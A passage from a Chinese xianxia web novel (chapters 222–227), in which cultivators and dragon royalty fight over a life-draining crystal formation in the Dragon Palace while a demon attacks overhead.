“不对,我们不是来找那玩意毁掉吗?谁要和你去突击龙王了?”唐山玉猛地反应过来什么,他转头看向任行舟,“不是你说那玩意在龙宫吗?” “对啊,之前那东西估计早被那个老东西转走了,至于为什么是在龙宫,当然是我猜的,不过我也不知道具体在哪里哎?”任行舟摆了摆手,随后继续道:“你知道的,能够调动龙宫阵法的,只有龙王。” “要去你去,我可不想和那种活那么久的家伙打交道。”唐山玉想起这种活了好久的家伙,甚至比秦兰时还久那么几千岁,就觉得浑身不得劲。 “…难不成我已经不是你的亲亲任前辈了吗?”任行舟扭头看过来,顶着一个猛汉脸就在那里委屈巴巴。 “……我不去,我不去突击龙王。”唐山玉被自己之前的胡言乱语给恶心了一下,他还是继续摇头。 “没事的,就去突击一下而已啦,老龙王年纪大了更好需要一点活力。”任行舟继续劝说着。 “你们要去突击谁?”一道苍老的声音响起。 “不是去突击龙王吗/不是你说突击龙王吗?” …… 谁在说话? 唐山玉和任行舟一个猛转头,就看到一个白发苍苍的老爷爷正笑容满面地看着他们,并且还感叹了一句: “哎呦喂,年轻人就是有活力。” 第223章 天啊 早,起床,进早食,逛花园。 午,进午食,睡午觉,逛花园 晚,进晚食,逛花园,睡大觉。 这是老龙王的一天,这日,他照旧悠闲地逛在花园里头,今天并不晴朗,乌云密布,重得人仿佛要呼吸不过来那样。 但是老龙王依旧走上了花园,他一边走一边安静地看着龙宫外头的天空,或许,有些事情冥冥之中自有天意。 这个花园是他妻子最爱来的地方,所以老龙王每天都会过来这里闲逛,看看花,看看曾经的摆设,心情都会好很多。 就在这时,他听到这个花园里头出现了其他的声音,这道声音里头的内容对老龙王来说可谓是大逆不道。 “我不去突击龙王!” “不,不,我们要去突击龙王!” 老龙王听到这话自然是有点困扰的,好好的花园里头怎么出现了两个大逆不道的家伙,这个花园可是他妻子最爱的花园,可不能被这些东西给糟蹋了。 这样想着,老龙王就走过去,他定眼一瞧,这俩人他都不认识,面生得很,但是无聊的老龙王因为老了,对于许多事情就无比宽容,所以他并不计较这一点,而是乐呵呵地过去看看到底是何许人也。 “突击……” 那个大汉显然卡壳了一下。 “……龙王。” 那个少年一边呆滞一边接上了这句话。 “哦,真有志气。”老龙王点了点头,点评了一句。 “你是谁……?”唐山玉还没说什么,就被任行舟一把捂住嘴巴往后带去,他们俩人就这样退后了十米远。 “没想到居然会在这里遇到您,真是意外啊。”任行舟这样说着,松开了唐山玉,笑嘻嘻地看着老龙王,“既然这样,你就给我们行个方便呗,总是让他们干这破事多不好啊。” “那么久了,您总该负点责任?” 唐山玉听到这语气,就立马明白眼前这个老爷爷到底是谁了,只不过他举起来手,和那老龙王道:“先别动手,我是青莲剑尊的徒弟。” 这个老龙王倒是没有想到,不过他想了想那好几日不见踪影的秦兰时,面对这个徒弟,他决定慈祥些,毕竟他也不是没有听说过青莲剑尊对徒弟的爱护:“这样啊……那你们是想要过来找我的吗?” “对,他要找您。”唐山玉伸手一指,指向了旁边的任行舟,任行舟对此很是无奈地走上前去。 “对,有事情想要麻烦您,您应该也明白我们目前在做什么了吧?”任行舟这样说着,也就不躲躲藏藏了,“我想要拜托您,您对这个龙宫的阵法最为熟悉,您一定能够找到你们圣物的踪迹吧?” “还有,这位小友的师父因为那块东西,似乎有点不太好,建议快点解决比较好,你也不想因为这次合作失去和随清宗的友谊吧?”任行舟这样说着,他摊开了手,“恕我直言,你们龙族这种制度早该换个法子了。” “…你这样说,他真的会帮忙的吗?”唐山玉站在旁边适当吐槽道。 “呵呵,不劳小友费心。”老龙王摸了摸一把胡子,笑容一如既往地温和,“既然是那么紧急的事情,那我就看上一看吧。” “……那么快就同意了?完了,山玉你做好准备,有事情你就联系你的宗门,就说龙族要对你们出手。”任行舟看到慈祥的老龙王后可谓是浑身不适,他搓了搓自己的两条手臂。 “……我是这样用的?”唐山玉沉默了一下。 “不然我带你过来干嘛?”任行舟对唐山玉比了个大拇指,“总不能看你天资聪慧吧?这种东西我也有啊。” “哈哈哈,真是活力啊。”老龙王继续慈祥,然后他招了招手,示意孩子们跟着他走,而他转过身去,往花园里的某处走去。 唐山玉和任行舟对视了一眼,就跟了上去,他们和老龙王保持着一种不近不远的距离。 与此同时,慕轻轻那边还在和易非吟僵持着呢,她看着禁地里头的那个晶体,眉头紧皱,就在双方还在僵持的时候,易非吟内部突然有人倒塌,转身对着昔日队友举起刀剑。 说那时那时快,慕轻轻趁着这个机会果断一跃而起,化作细小飞龙就要去夺那水晶,易非吟自然心神都在水晶上,他也跟着闪身来到了慕轻轻面前,拦在了她的面前。 “殿下,此路不通。”易非吟眯着眼,抬手一掌将慕轻轻打去了一旁,慕轻轻自然不会任由对方拦着自己,所以她再次飞上高空,和易非吟上演了一段速度与激情。 最后还是易非吟更胜一筹,慕轻轻被易非吟拍在了旁边的墙壁上,她就那么瞪着易非吟,怒喝道:“放开!!” “呵呵,小殿下,你就没有想过,我为什么会在这里等你们过来吗?”易非吟笑了笑,没有多说什么,而是举起慕轻轻又甩了一下,把慕轻轻狠狠地砸在了墙壁上。 与此同时那些影龙卫中有人惊呼道:“公主殿下!!!” 不过他们也顾不上这里了,虽说易非吟里头有人内乱,但是一时之间对方好像有点敌我不分了,混乱了,但是还不够有序。 “…你……”慕轻轻面露惊恐地捂住胸口站起来,只见她不敢置信地开口道:“你要做什么?!你这是什么意思?” 易非吟扯了扯嘴角,露出了一抹不失礼貌的笑容,他没有直接回答,而是表露自己的欲望:“你是知道的,我们龙族历来都是海上的最强者,以前是,现在也应该是。” “…这有什么意义吗?”慕轻轻不由得发问道,“这一切不无聊吗?” “小殿下,这怎么就没有意义了,你以前可不是这样,你明明认同我的,去了一次人族后,你变得和他们一样优柔寡断了。” “…这不是优柔寡断,我学到的从来不是优柔寡断。”慕轻轻反驳了他,随后她继续往下说去:“正如我母亲所说的那样,大海是宽容的,我们不应该如此对待同为海族的他们,就算他们弱小也好。” 易非吟觉得这种话听多了也很烦,于是他对慕轻轻伸出手,他要让这个家伙把嘴给重新闭上。 慕轻轻果断拉开了和他的距离,而易非吟则一脚踩在慕轻轻那早已在打斗中掉落的鞭子上,“你身上已无武器,如何能与我相斗?” “哈,你莫不是忘了我另一个身份?”慕轻轻闻言一笑,便转手唤出了她的笛子放在嘴边,那是她在人族那里学来的技巧,这和她平时在龙族挥打的鞭子不一样,它是相对平和的,但是也有其特有的冲击力。 清脆的笛声划破长空,四周刀剑因此停顿了一瞬,而影龙卫仿佛受到了什么鼓舞再次往敌人身上冲过去,与此同时敌人因为这笛声被控制得心神震荡,手上的攻击速度也变慢了不少。 另一边,易非吟显然也被这个突如其来的笛声影响,但是他继续伸出手去抓慕轻轻:“呵,不过是道笛声,只要我分出心神去抵挡也不过如此。” “我的确没有你强大。”慕轻轻看着伸手过来的易非吟,她如果要维持吹奏,就不能轻易动弹,笛声跟随着灵力依旧在四周荡漾,此时此刻,她眼中毫无惧色,“但,我自人类中学会了什么叫做……” 与此同时,一道白色的身影自空中掠过,只见它直直地撞击在了那水晶上,水晶应是阵眼,四周的阵法上灵力也随着震动着。 那白色的小身影正变出锋利的大爪子死死地抓住水晶往外拔去。 天啊!是学长肥啾! “合作。” 第224章 理所当然 水晶被夺,那小小的鸟儿拥有着最为灵活的身躯,只见它展翅高飞,一下子就飞到了高空之上,易非吟抬手似乎想要打出一道灵力来把它给打掉。 但是却被慕轻轻给一掌拍开,俩人再度拉开了距离,与此同时学长挥动着翅膀在天上转了个大圈,似乎还在徘徊不定,水晶被它抓着,要掉不掉的。 易非吟见此倒也不急,就这样老神在在地瞅了慕轻轻一眼,少女已然长大,昔日的孩童早已不在,甚至还有几分那个女人当初的模样。 “你可知我最讨厌你母亲什么吗?”易非吟看着慕轻轻,突地一笑,他没有再靠近慕轻轻,而学长还在天上飞着。 “…易长老这是要和我回忆往昔吗?原来不管是人还是龙只要老了就喜欢说一堆话吗?”慕轻轻不知易非吟到底和她打什么谜语,她一脸警惕地握紧了手里的笛子,打算对方一有动作就攻击上去。 “…你的母亲是个天真的龙族。”易非吟说着,他眼神的平静和他身后的混乱背景板形成鲜明的对比。 “……”这句话,慕轻轻难得没有反驳。 “不过是一个从小被平民饲养的龙,能够有这身血脉就应该感激涕零了,可你的母亲想法也太多了点,她的慈悲之心……”易非吟揉了揉眉心,眼里是漠然,对这种行为的不理解,但是很显然这位龙后碍着了他,“太多了,什么龙族和其他种族一样,说什么我们是一样的。” 女人的话语仿佛还在耳边,她的声音明显偏柔,但在说出这种话的时候是这样的铿锵有力。 “不,我们不一样。”易非吟呵呵一笑,他摇了摇头,时至今日他并不认为自己做错了什么,因为龙族在这千百年来就是这样生活的,这是无法改变的。 “我无法理解。”老龙王这样说着,他带着唐山玉和任行舟走在阵法里头,因阵法而引起的灵力波动化作一条长长的线环绕在他们周围。 “但是,我因为她想要试着去理解,很可惜的是,她没有告诉我答案就离开了。”老龙王长长叹了口气,这口叹息里头藏着许多东西。 “…那陛下您和我们说这件事,是想要做什么?”唐山玉走在老龙王的后头,任行舟就这样跟在他的后边,左右张望着,显然兴趣不大。 所以也就只有唐山玉回应了老龙王。 “…既然从她口中我得不到答案了,所以我也想要问问其他人的意见,就当…龙老了,偶尔也想要学会什么叫做理解?” “…我?我能有什么答案?”唐山玉并不清楚这段故事,他只是个后来者,只不过在听到那位龙后的想法后,唐山玉总觉得好像窥见到这位龙后的一丝小小的愿望。 说是愿望,但是那应该是一种被称作为理想的东西。 “呵。”任行舟对此只是冷冷一笑,并不多做评价,只不过唐山玉能够感觉到这人身上的不爽,这不爽好像是老龙王提出要理解的时候出现的。 “你也不知道答案吗?”老龙王说着,继续带着他们在花园里走着,他走走停停,一边查看着那东西的位置,一边分心问着后生的问题。 “您活了那么久都不知道,问我我就一定知道吗?”唐山玉顿了顿,随后耸肩了一下,他的语气里头颇为无奈,“那么,我这个后生需要反问你一句,你觉得……” “平等是正确的吗?” “您需要给出答案,我才能够根据这个为你解答这个问题。” 老龙王走路的步子一顿,花园里的花儿还在轻轻开,女人的笑声仿佛还在耳边,那是他们初次认识的时候,那是他们还没有经历过后续的争吵的时候。 “说句实话,小友,我对于平等的概念一直没有定义。”老龙王站在那里,他抬头看着天上的太阳,这是他特地给花园里头增添的一道阵法,无论阴天还是黑夜,这座花园永远被太阳所笼罩。 只因她喜欢。 “她因为曾经被平民扶养过,所以性子和其他龙族完全不一样,当然我也正是喜欢她一点。” 任行舟小声吐槽了一句:这老不死的是在秀恩爱吗? 唐山玉对此小声回了一句:呃,我不知道。 “而她后边也因为这个性子,曾经被其他龙族所看不起,我年轻的时候对此很不爽,我就像那话本子里的英雄那样护在了她面前,怒骂了说她的龙族,而我们也因此相爱了。” 没了媳妇的任行舟的表情逐渐阴暗:他绝对是要讲他们过去的恋爱史了吧?绝对是吧? 道侣健在的唐山玉一时之间不知道该说什么,他只会:啊,嗯,先听着吧。 “…可是后边,我们的意见逐渐产生分歧,争吵的时刻也越来越多了,但是往往都会和好……我们彼此迁就着,她总是会说算了,反正我们的时间很多。” “……” “好像说了那么多没有一个重点哎,抱歉抱歉,老了就是这样的。”老龙王突然有些不好意思地挠了挠头,他整个人看上去有片刻的放松,难不成是有人愿意听他说起这些陈年旧事的快乐? 老龙王一想到自己的儿女,要么怕自己,不怕自己的要么忙着干活,要么忙着花天酒地,要么喜欢出去玩不爱回家。 连个愿意听他说话的都没有。 唉,唉。 难不成我就愿意听你说话吗? 唐山玉很想这样说,但是老龙王他打不过,任行舟也打不过,他过来这里仿佛就是来当这俩人之间的缓冲带……所以,这就是俩人都喜欢和自己交流吗。 “…总之……”老龙王继续走着,最后,他在龙宫的某一处停了下来,他们已经离开了花园,虚假的阳光也离去了,灰暗的天空在没有阵法的阻挡下显露出来。 “平等的……正确与否对于我来说,并不重要,重要的是,如果我那么做的话,或许她最后会原谅我吧。” 阵法的通道渐渐被老龙王撕破开来,一条向下的黑色洞口出现在他们的面前,而此行的目的地,便是那易非吟藏起水晶的地方。 “…如果她想要那样的海洋,那便试试吧……”老龙王眯起了眼,他没有继续带路了,而是站在那里,看着他们,“好了,你们自己下去吧,这条路已经不适合我这把骨头走咯。” “你说了那么多,好像不打算真的让我回答。”唐山玉看着任行舟在那里检查着通道的可行性,就转头看向了老龙王,“是因为那答案毫无意义吗?” 老龙王笑眯了眼:“对,那毫无意义。” “…那么,这就像你觉得她当初的行为毫无意义那样,无论我的答案还有她的答案是什么,都毫无意义,陛下您想要的,只是一次原谅。”唐山玉本来还打好了腹稿的,这下子估计也用不上了,毕竟观念不同不能理解往往是常态。 “不过,她想要的东西,或许我能够猜到一二。”唐山玉见任行舟已经一只脚跨进去了,并且在催促他了,他只能也跟着走过去,只不过他并没有忘记继续开口:“她想要的……” 任行舟见唐山玉走得有点慢,就伸出手一把将人抓过来,像只小鸡一样提好,最后,他冷冷地看了老龙王一眼,什么也没说,就这样带着唐山玉走向这条往下的路。 “就是你不会再去思考这个问题的答案。” 因为,当那个时候到来的时候,那不再是一个问题,而是一个理所当然的结果。 第225章 打打打 那魔物盘旋于龙宫上方,天空因为它身上散发的诡异气息被笼罩成了黑色,秦兰时,慕流月还有反叛军首领一起站在下方看着。 他们一路追到了这里,四周的房屋倒塌了一片,很显然这些房屋受难颇深,可能这次事情结束后,两方要考虑的不是什么麻烦又复杂夺权,而是重建卧吟岛了。 “它到底想要做什么?看上去龙宫里头似乎有什么东西在吸引它。”反叛军首领左看看右看看,最后选择质问住龙宫的慕流月,“你们龙族除了那破水晶又藏了什么在里头?” “哈?你问我?拜托,那破水晶真当我愿意留着啊,要不是那群老头,我早就把它摔了。”慕流月听到这话后显然很是不满,不过她仔细想了想又道:“说不准就是那个水晶呢?毕竟这些年来,被那老头利用夺了不少生灵的命气,估计……他也馋这个。” “这魔物到底是谁放出来的,要是让我知道,我肯定不会让他有好果子吃。”反叛军首领咬牙切齿那么说着。 “我也正有此意。”慕流月闻言也是点头,她此时此刻的表情算不上好。 “它似乎开始掀屋顶了。”秦兰时举起手指了指那边的魔物,“你不阻止吗?” “什么??我家的屋顶啊!”慕流月啊了一声,随后她拿着武器往前走了几步,几步后她回头看去,发现那俩人一动不动的,“你们怎么不走?” “那又不是我家的屋顶。”秦兰时耸了耸肩,他看上去很无所谓,只是细看下他的脸色有些苍白。 “拆得真好啊,为什么要阻止呢?”反叛军首领显然是乐见其成,他看着那活力四射的魔物正在拆着龙宫,脸上的严峻都消散了几分。 慕流月:…… 失策了,这俩是火烧不到他们身上是不会急的。 还没等慕流月说什么呢,不远处啪一下飞来了一道黑影,那道黑影在慕流月和对面的秦兰时,反叛军首领中间穿了过去。 与此同时,飞出去的那处只见一只金贵的鞋子踩上了那边的地板,往上瞧去,却是那龙族大皇子慕云辰,他甩了甩被雷电烧焦的袖子,脸色沉如黑锅。 “大…大哥?你怎么这样狼狈?“慕流月很是吃惊,尽管这家伙就被烧了一只袖子其他地方都完好无损,可就是因为这被烧焦截袖子,慕流月才吃惊。 “……你…”慕云辰的视线在周围转了一圈,落在了秦兰时面前,他闪身过去,就那么瞪着秦兰时,只见他优雅得体地指着自己那条袖子,“你们随清宗都教了弟子什么?丢出来的法宝说爆就爆,我还以为剑修不会那么奢侈……” 慕云辰还没说完呢,秦兰时一个快步就跳过去,拎起那道黑影,给那黑影的脑瓜子来了几下:“臭小子,法宝是让你那么用的吗?你个败家玩意儿,计划里有让你这样败家了吗?” 而被打的黑影捂住脑袋,大伙们仔细一看,这不是谢璟吗? 谢璟不敢吭声,他捂住脑袋后,眼里全是倔强,最后他在秦兰时谴责完自己后,才闷闷不乐地开口:“可是……不这样拦不住他啊。” “现在计划有变,吸引注意力已经不是最主要的了。”秦兰时阴暗地看向这个小子的储物袋,里头都装了什么宝贝,作为长辈他是不是应该帮孩子好好保管一下。 “什么?”谢璟还没反应过来什么,突地,一道视线缓缓落在了他身上,那魔物似乎被他们这场热闹给吸引住了,眼珠子正一动不动地瞅着这边呢。 “……它怎么看过来了。”身上混着魔血的谢璟自然能够感觉到这魔物身上的浓浓魔气,他不由得往秦兰时身后一躲。 “…这样嘛,可能魔物也爱吃瓜呢。”秦兰时哈哈一笑,也就拿出剑把谢璟往身后护,心里念着莫不是谢璟在这个魔物眼里是个香饽饽,毕竟也不是没有听过魔物之间相食的事情,据说这样能够提升实力。 “……这个魔物是…?”慕云辰抬头看了一眼,沉默了一会儿后,转头看向了慕流月,“这件事,你怎么看?” “……”慕流月微微偏过头,她从发现的时候就一直在想这件事了,她想来想去都没有想到明生会被做成这种东西,最后,她张了张嘴:“我不知道,大哥。” “…算了,先阻止它。”慕云南没有再多说什么,他周身的气息一变,瞳孔里的金色宛若绚烂骄阳,龙角浮现于头部,只见慕云辰往前走去,青光一闪而过,只见那条青龙翱翔于高空,就这样俯视着那魔物。 秦兰时见此推了推站在旁边的谢璟,“喂,小师侄,去远处躲一下,这可是大人之间的战斗,你个小金丹不要参与进来。” “…我……”谢璟看了看秦兰时的情况,眼里写满了倔和担忧,“我去了你怎么办?” “这话说得我需要你保护一样。”秦兰时觉得自己和这位主角的关系好像好了不少,至少没那么尴尬了,再一看,唉,完全就是个一百多岁的孩子,这样想着眼神都不由得慈爱起来了:“好了,你要是真想找点事情做,不如去看看慕轻轻那边怎么样了?” “秦师叔……”谢璟还想再说什么,就又被秦兰时往外推了推。 “好了好了,我知道,到时候我会和山玉好好说的。”秦兰时这样说,又再次用力推了推,虽说他看上去状态不错,但那天的场景实在是让人触目惊心,所以谢璟只被推着走了三步。 “……”谢璟继续看,秦兰时继续一脸无辜。 就在俩人仿佛在惺惺相惜的时候,那边的魔物也终于有所动静,只见它吼了一声就朝着慕云辰扑过去,霎时间,一龙一魔在空中混打在了一起,好不热闹。 “这次真的要走了!!”秦兰时说着,转过身拿出他的若兰剑,一跃而上,跳到了龙宫的顶部,而反叛军首领看了看那魔物后就选择在下边找起了他的人。 慕流月咬了咬牙,也就跟着冲了上去,她没有变回龙身,而是也举着剑站在秦兰时旁边:“…你看着不是很好。” “是吗?那真是太糟糕了。”秦兰时呼出一口气,他依旧笑嘻嘻的模样,仿佛天塌下来他也这般若无其事,“不过这样子估计瞒不过去了,怎么办,对了你不是有一堆佳丽吗?告诉一下我你平时怎么忽悠男人的?” “什么叫忽悠,我明明对每个都真情实意的!”慕流月听到这话,开始反驳起来了,她非常自信地拍了拍胸膛,“我,天生丽质,他们会喜欢上我也是理所当然的。” “……真自信啊。”秦兰时感慨了一声,随后他也无比自信了起来,“没错,不管怎么样我老婆都会喜欢我的。” “…如果是你那位我可不知道啊,我对那种类型的美人儿不是很起兴致。”慕轻轻挑了挑眉,她跳起来闪身躲过了一个那魔物打过来的大招,秦兰时自然也轻松躲了过去。 “哦?那你觉得我的那位美人又是什么类型的?”秦兰时倒是有些好奇他人口中的山玉了,而且这还是一位身经百战的海王发言,很难不让人好奇。 “就……”慕流月劈了几道剑气过去,她一边说着一边在寻找着那只魔物的弱点,他们目前算是在试探中,“总让我想起当初笑着阴阳怪气我的那群……” “老不死的大臣。” “什么?您再说一遍呢?我亲爱的前辈。”唐山玉笑容格外的温和,语句也是极为有礼貌的,只是说出来的音调怎么听都带着一股骇人的味道。 “我是说,这个好像不能轻易弄坏哦,别这样看我,不是,不是,我之前真的不知道,你看啊这个水晶周围画了一堆阵法,这些阵法似乎别有深意啊,只是我不精通此道,所以看不太懂,但是我看到这些阵法下边还有一层更大的阵法,而且来到这里后我可以感觉到灵力要被吸走的趋势。” 在唐山玉那甜蜜无比的声音下,任行舟连忙一口气说了一大段话,他都惊讶于自己能够一下子说完都不带停的。 “好的,亲爱的任前辈,你说,我们接下来怎么办?你说,我听。” “……” 总之,任行舟抬起头,看起了天花板。 第226章 当诛 “总之,要怎么破坏它?”唐山玉正死死地盯着任行舟,不放过这个人脸上任何一抹神情。 “只要能够破坏这个阵法,应该就能够破坏到它了,你看,它现在都不愿意让我们碰。”任行舟指了指水晶,又指了指地上那若隐若现的阵法,“听说这条龙是个布阵法好手,在龙族里头不仅仅年长也有一定的威望。” “这话听着怎么像他想要夺取王位一样?”唐山玉对于这种事算不上熟练,但是也不算是两眼一黑。 “如果他心思在那边,或许是有可能的,不过他的心思全在怎么让龙族维持着霸主的地位。”任行舟看上去暗自观察了龙族很久了,唐山玉问到的龙族事情,大致的事情他都能回答。 ……可能也阴暗蛐蛐了龙族几百年了。 毕竟最了解你的人,不一定是你的朋友,同时也可能是你的敌人。 “比起王位,失去力量才是让他最难受的,他的眼睛就没有长地上过,不过……”任行舟抬头看了一眼天花板,语气略有疑惑,“那老不死应该或多或少也知道才是,怎么还放任事情发展成这样?” “长辈磨练小辈?龙族会有这种观念吗?”唐山玉想起先前的事情,长辈于高处静坐,俯看四方弟子出山除魔卫道,听说那是一场长辈给小辈与天下的修行。 “大部分没有,他们觉得要是太弱了不如还是回炉重造吧。”任行舟看上去对龙族不满已经久,也就趁着那个龙王不在,才在这里好好的半阴阳半骂地说上几句,“这德行摆那么久都没怎么变过。” “阵法的话……看来只能找帮手了…嗯?”唐山玉感觉到身上的传讯符似乎在呼唤他,于是他将这传讯符拿出来,发现是石泽竹传过来的。 “怎么了?”唐山玉想着他不是在和顾延清待着吗?安全应该非常有保障才对啊,就算没待着,随清宗出品灵舟总不能那么脆吧? “山玉,不好了,我们突然发现出不去岛屿了。”石泽竹的声音有些急切地从那边传过来,听听那头的背景音似乎还夹杂着几声慌乱的惊呼。 “出不去?为什么出不去……”说着,唐山玉似乎想起什么,转头看向了不远处的那个阵法,此时此刻阵法上的纹路越发地清晰了。 “就是……有个看不见的屏障的把我们和外边隔开了,我也是跟着那些海族过去才发现,他们围在门口那里堵得很。”另一边,石泽竹蹲在屋顶上,看着下边慌乱挤成一团的海族们。 “地上不行,天上呢?”唐山玉说着便看到任行舟开始蹲在地面上,一副体育生解数学题的苦恼模样。 “会飞的当然飞上去确认了。”石泽竹抬头看了一眼天空,看到在天空到处乱飞的海族,他们有的撞屏障,有的在咒骂,甚至有的对那屏障发起攻击,可那屏障把这些攻击给吞了下去。 “吞下去了?” “对啊,吞下去后那屏障更结实了。”石泽竹连忙点头,他旁边趴着一个先前在河里游泳享受的前辈,这个前辈一副死鱼模样躺在屋顶上,此时此刻他身上还有着没有干掉的水渍,显然刚刚下河了。 这怎么和这个贪吃的水晶有点像呢? 唐山玉再次看了过去,发现那水晶看上去好像脸色红润了不少……一个白水晶脸上怎么会有红润啊?那分明是它内里的颜色开始隐隐发红了。 “看起来另一个老不死的用这个水晶在城里头做了一个阵法。”唐山玉本来就是在外放,所以任行舟自然听完了全过程,他拍了拍手重新站起来,“这种会吃灵力的阵法可难搞了,攻击没有用,攻击出来的灵力还会被吃掉。” “任何阵法都是有阵眼的,所以阵眼会在哪里?”唐山玉看着那无法摧毁的水晶,难不成是这个? “不,不会。”任行舟挥了挥手,把唐山的盯着水晶的目光给挥走,“他不会把这个当成阵眼的,那个疯老头怎么爱护它,怎么能容许这种事情发生呢?制造阵眼的过程可是又繁琐又不容易的。” “……我明白了。”唐山玉让石泽竹先按兵不动,转头就取出另一张传讯符。 “…你要做什么?你知道阵眼在哪里了吗?”任行舟看到唐山玉那行云流水般的姿态,看上去很是胜券在握,这才刚说完呢,就想到阵眼了吗? “不知道。”唐山玉往那传讯符输入了灵力,而传讯符的另一端的人接通了后,任行舟就听到了那狂妄至极的话语从眼前这个少年口中吐露出来: “即刻起,诛杀易非吟。” “……”传讯符那头似乎因为这番话停顿了一下。 “?如果是易非吟的话,慕轻轻那条小龙应该杀不了的吧?”任行舟听到这话,摇了摇头,他当然知道慕轻轻目前就在易非吟那里吸引注意力呢,“的确,杀掉起阵者也可破阵,但你要不换个法子?” “我没让慕轻轻去啊。”唐山玉抬头有些疑惑地看了任行舟一眼,“她的确厉害,但是单挑一个龙族长老什么的……” “…少用这种命令的语气和我说话。”传讯符的声音很是不满,但接下来,这人似是在奔跑,脚步声里伴随着雷鸣,像在快速行动中。 与此同时,慕轻轻摔在了地上,她擦了擦嘴角的血,手里的笛子依旧握在手里,随清宗出品的笛子质量就是好,方才她拿笛子挡住了几次来自易非吟的攻击。 这长老说完她母亲后,转头就对她下重手,显然对于那段过去不想多提,但是从这些碎片中,慕轻轻能够窥见到一丝来自母亲那细微的愿望。 她说龙亦可飞天,也可盘于地上。 宽容的大海会为每一位海洋的子民歌唱。 慕轻轻突地发了狠似地让灵力汇聚于手上,就这样对着易非吟身上挥拳过去,第一拳没有打到,第二拳也没有打到,易非吟就这样看着她,抬起手握住了慕轻轻的手腕,猛地捏紧。 “当然不一样,也是,你这种家伙怎么能够明白…你知道吗?你这种行为……在修仙者里是会被称为十恶不赦的邪修。”慕轻轻抬起头看着易非吟,笑了一声,“我不仅是龙族的公主,同时也是一位随清宗弟子,而随清宗门规里有一条……” 慕轻轻见自己的手腕被握住,那力道扎得她深痛,感觉骨头要被捏碎一样,但她还是咬牙说出这一句话: “随清宗门规第十七条,若遇肆意屠杀凡灵邪魔者……” 与此同时,易非吟的身后突然闪出了一道人影,伴随汹涌得像要将人吞噬的雷光,那道人影高高举起手里的剑,自上而下劈去。 “杀无赦。” 话音落下,剑劈了下来,砍在了易非吟的右肩膀上,而抓住慕轻轻的那只手便是右手,原来在易非吟抓住慕轻轻的时候,慕轻轻也在抓住他。 这一击可谓是让易非吟吐出了一口血,这雷可不是一般的雷,因为,谢璟这个有些败家的在打了一击在易非吟身上后,捏碎了手里一直握着的雷光珠。 刹那间,四周明亮无比,雷光吞噬了这一切。 “?!长老!!” “殿下!!?” 两方的士兵显然也被惊到了,本来他们还在各打各的,突地那么一下,再一看,那雷电大爆炸的地方可不就是他们主子打架的地方吗? 下一刻,一双巨大的翅膀挥散了这里引起的烟尘,不知何时这里出现了一只大概有人那么大鸟,只见鸟一只爪子抓着一个败家儿,另一只爪子抓着一个爆炸头殿下。 “……你怎么一句话就不说就捏爆雷光珠?”慕轻轻顶着那个爆炸头缓缓转头看过去,在她看到谢璟那毫发无损的模样,“你为什么没事啊?” “我雷灵根能有什么事?”谢璟还是一副酷哥的模样,虽然衣服上还闪着几道雷光,但是这些对雷灵根的修士来说不过是小零食。 “你……!”慕轻轻觉得自己公主殿下的形象已经没有了,她有些气愤地抬起脚想要踹谢璟一下。 谢璟扭了一下身子躲了过去,他怎么可能会随意让人打,怎么想都不可能的好吧!! “你们不要挣扎了。”学长开口了,它缓缓飞着,低头看着那处尘土散去后流露出的地方,眼尖的学长猛地看到那地方空空如也,什么也没有。 下一刻,它一个猛回头,就看到了那易非吟那还散发着黑色烟气的龙身正冲着它张开口,似乎想要咬住它的脖颈。 “我的天!!!”学长速度也快,只见它猛地一个转身,给了易非吟一个爱吃的大嘴巴子,当然肯定带着灵力的,不然普普通通的大嘴巴子哪能让龙痛啊。 而还在爪子上的俩人因为这这一下,感觉眼前的景色都有点晕眩。 “哎呀,对不起啊,我就是故意的。”学长颇为自信地在空中挥了挥翅膀,说完后它果断地抓着谢璟和慕轻轻往外飞出去。 高傲的龙族长老易非吟被扇了一个大嘴巴子哪里能忍,他当机立断冲了出去,目的明确地冲着学长过去。 就在这时,外边的战场也在继续,那龙宫的屋顶已经被拆得差不多了,所以在学长出去的时候,慕轻轻发出了一声龙叫: “啊?我家屋顶怎么没啦?!” 第227章 少年亦往之 天沉沉,云暗暗。 一只鸟,一只魔物,两只人,两只龙,就这样在天空那里对视着彼此。 秦兰时抬头一看,发现那鸟和人都是自家随清宗出品的,而随清宗出品必属精品……不对,就算是精品遇到这大馋魔物也要被吃。 …… “不是?谢璟你怎么回来了?敢情我之前的话都白说了呗?回来就算了,怎么还带着学长和慕轻轻啊?”秦兰时在废墟的屋顶上发出尖叫,因为不停的使用灵力,此时此刻他的整张脸已经都被那些黑色裂痕所覆盖了,这使得他的面容更加扭曲吓人。 要是现在喝醉了酒,吓人的威力会更大吧。 谢璟也是听到了来自长辈的呼唤,他往秦兰时那边看了一眼,随后很是心虚地别开视线。 慕轻轻一副爱咋咋地的模样,正环抱双臂挂在学长的爪子上,随着清风左右摇晃。 学长还在飞着呢,就仰头看到了那么一大只魔物,那魔物还对它呲牙咧嘴的,它当然飞得离这魔物更远一些了。 正飞着呢,后边的易非吟冲上来了,他当然想要追着学长乱咬,毕竟那一巴掌的确羞辱龙。 秦兰时闪身向前,只见他举剑挡去,剑身挥至那龙头,剑气撕碎着风而来,易非吟果断扭身躲闪,那剑气劈下了他的一根龙须,而下一刻,秦兰时举着剑指向他: “欺负小孩算什么本事?我来做你的对手。” “秦师叔。”谢璟在秦兰时冲上去的时候,唤了一声,随后他变换了音量喊道:“山玉说要他龙命!!” “……看来你们有人发现了那个阵法了啊。”易非吟闻言细想了一下,也能够想出其中的关节,只不过他看上去倒是不急,这是出于他对这个阵法的自信:“破阵先杀破阵者,此法虽有些鲁莽,但也并非不可。” “只是……”易非吟恢复回了人身,他微微张开手掌,轻轻托起了什么,这一瞬间,众人皆心头一骇,闪烁着红色光芒的阵法环绕于他们周身显现,一个,两个,三个…… “这是在你们能够做得到的前提下……” 与此同时,一边的唐山玉将还在对着这个阵法进行试探,怎么试探都试探不出漏洞,旁边的任行舟已经开始放弃,他觉得要不还是等那个时候再行动比较好。 “放弃吧唐小友,这阵法非你我二人可破,你若愿意信我三分,不如一起等着,时候差不多就可以了。”任行舟半句劝说半句谜语人,然后就这样往墙边一坐,开始等待了。 “……你在等待什么时候?”唐山玉转头看了任行舟一眼,“说起来,前辈啊,你看上去倒是不急,难不成你早就预料到有这种时候了?” “唐小友啊,有些时候知道越少就越容易活下去哦?毕竟我还挺喜欢你这小子的,当然你师父都性子也很对我胃口。”任行舟闻言摸了摸鼻子,笑着看唐山玉。 “…你师徒双吃啊?”唐山玉眼神突然古怪了起来。 